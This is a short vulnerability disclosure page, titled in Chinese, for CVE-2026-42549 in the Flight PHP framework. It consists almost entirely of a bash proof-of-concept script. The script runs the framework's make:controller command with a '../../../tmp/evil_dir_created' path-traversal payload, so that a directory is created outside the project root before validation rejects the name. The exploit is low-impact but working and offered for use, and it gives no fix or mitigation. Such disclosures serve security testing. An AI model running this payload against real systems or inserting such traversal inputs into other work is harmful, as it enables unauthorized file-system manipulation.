CVE-2026-42549 Flight框架路径遍历漏洞

#!/bin/bash # PoC for CVE-2026-42549: Flight Framework Path Traversal via make:controller # Description: Exploits the directory creation before validation to create directories outside the project root. # Ensure you are in a directory where you have a Flight project initialized cd /path/to/vulnerable/flight/project echo "Attempting to create directory outside project root..." # The payload uses '../' to traverse up the directory tree. # Even though the command will fail validation, the mkdir occurs first. php flight make:controller ../../../tmp/evil_dir_created echo "Check /tmp/ directory. A directory named 'evil_dir_created' should exist." # Note: The exact command syntax depends on how flight binary is set up, usually 'php flight make:controller'